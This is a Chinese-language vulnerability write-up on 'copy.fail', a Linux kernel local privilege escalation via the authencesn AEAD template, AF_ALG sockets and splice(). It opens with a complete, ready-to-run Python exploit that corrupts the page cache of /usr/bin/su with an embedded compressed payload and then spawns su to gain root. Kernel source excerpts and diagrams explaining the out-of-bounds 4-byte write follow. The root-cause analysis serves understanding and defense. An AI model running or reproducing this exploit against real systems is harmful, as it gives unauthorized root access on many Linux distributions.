copy.fail

漏洞信息

无需条件竞争,稳定提权。只需要732字节大小的python脚本即可实现2017年后的大部分发行版提权。

该漏洞是 authencesn 模块的一个逻辑漏洞,从 AF_ALG 以及 splice() 导致4字节的 page-cache 写入。

exp:

1
2
3
4
5
6
7
8
9
10
#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
try:u.recv(8+t)
except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")

漏洞原理

以下内核源码均为 6.12.94 版本

AF_ALG 是一种 socket 类型,其会将内核的 crypto 子系统暴露在普通用户空间。普通用户可以打开,绑定一个任意的AEAD(Authenticated Encryption with Associated Data)模板,然后调用加解密操作。
漏洞的核心原因位于 splice()。其会在文件描述符以及管道直接传递数据,不是拷贝,而是使用page cache,同时增加引用。当一个用户 splice 一个文件到管道,然后再到 AF_ALG 管道,该 socket 的输入 scatterlist 会持有内核中该文件的 page cache 页的直接引用。该页不存在冗余或重复,scatterlist 指向相同的物理页。
对于 AEAD 解密,输入格式为:AAD(associated authenticated data) || ciphertext || authentication_tag. 在 algif_aead.c, 其recvmsg()函数为 aead_recvmsg。该函数会在内部完成以上解密操作,意味着其会将 scatterlist 作为输入和输出的缓冲区。

1
2
3
4
5
6
static struct proto_ops algif_aead_ops = {
.family = PF_ALG,
...
.recvmsg = aead_recvmsg,
.poll = af_alg_poll,
};

AAD 和加密数据通过 memcpy_sglist 拷贝输入 scatterlist 到输出缓冲区。page cache页仅用于读取。但是 authentication tag 没有被拷贝。内核会保留这些 scatterlist 条目并将它们链接到输出 scatterlist 的尾部使用 sg_chain().

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
static int _aead_recvmsg(struct socket *sock, struct msghdr *msg,
size_t ignored, int flags)
{
...
areq->tsgl = sock_kmalloc(sk, array_size(sizeof(*areq->tsgl),
areq->tsgl_entries),
GFP_KERNEL);
if (!areq->tsgl) {
err = -ENOMEM;
goto free;
}
sg_init_table(areq->tsgl, areq->tsgl_entries);
af_alg_pull_tsgl(sk, processed, areq->tsgl);
tsgl_src = areq->tsgl;

/*
* Copy of AAD from source to destination
*
* The AAD is copied to the destination buffer without change. Even
* when user space uses an in-place cipher operation, the kernel
* will copy the data as it does not see whether such in-place operation
* is initiated.
*/

/* Use the RX SGL as source (and destination) for crypto op. */
rsgl_src = areq->first_rsgl.sgl.sgt.sgl;

memcpy_sglist(rsgl_src, tsgl_src, ctx->aead_assoclen);

...
}
1
2
3
4
5
Input SGL:     AAD  ||  CT  ||  Tag
| | ^
| copy | | sg_chain (still references page cache pages)
v v |
Output SGL: AAD || CT -----+

输出 scatterlist 现在包含两部分:用户的 recvmsg 缓冲区(AAD+ciphertext),链接后的 tag pages,仍然指向目标文件的原始 page cache。内核设置了 req->src = req->dst,都指向了以上缓冲区头部。

1
2
3
4
5
6
7
req->src ----+
|
v
req->dst --> [ AAD || CT ] --> [ Tag (page cache pages) ]
| | | |
+-- RX buffer ---+ +-- chained from TX SGL -+
| (user mem) | (file's page cache) |

以上内存布局是漏洞的根本成因,其将page cache页放入了可写的scatterlist,与合法的可写区域仅靠offset来分离。该设计假定了每个 AEAD 算法会限制其写入到正确位置,但是不会做检查。

有一个 AEAD 算法存在问题。 authencesn
内核 AEAD API 定义了一个清晰的输出规范:

the destination buffer receives AAD || plaintext, exactly assoclen + (cryptlen - authsize) bytes.
authencesn 是一个 IPsec 协议提供 ESN 支持的 AEAD wrapper。IPSec 使用64位序列号,被分割为高4字节和低4字节。根据有线协定,高字节会被忽略。在 HMAC 计算中,authencesn 需要重排这些字节: seqno_hi在hash_input头部,seqno_lo在尾部。
其在 crypto_authenc_esn_decrypt 函数中执行以上操作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
/* Move high-order bits of sequence number to the end. */
scatterwalk_map_and_copy(tmp, src, 0, 8, 0); // read AAD bytes 0-7
if (src == dst) {
scatterwalk_map_and_copy(tmp, dst, 4, 4, 1); // overwrite dst[4..7] with seqno_hi
scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1); // write seqno_lo after the tag
dst = scatterwalk_ffwd(areq_ctx->dst, dst, 4);
} else {
scatterwalk_map_and_copy(tmp, dst, 0, 4, 1);
scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen - 4, 4, 1);

src = scatterwalk_ffwd(areq_ctx->src, src, 8);
dst = scatterwalk_ffwd(areq_ctx->dst, dst, 4);
memcpy_sglist(dst, src, assoclen + cryptlen - 8);
dst = req->dst;
}

src==dst条件下第三次调用scatterwalk_map_and_copy时,会向 assoclen+cryptlen 偏移位置写入4字节,越过了 AEAD tag 位置。导致了越界写入。
crypto_authenc_esn_decrypt_tail 会读取 seqno_lo 重新构造 AAD, 但是dst[assoclen+cryptlen] 处的原始字节被写入且未被恢复。

至此,可以实现4字节 page cache 写入。

  • page cache 是任意普通用户可读的文件。
  • 偏移可以是上一次 spliced 文件数据的 authsize。可以进行任意控制。
  • 内容为 seqno_lo,其是 AAD 的第4-7字节,可以通过 sendmsg() 构造。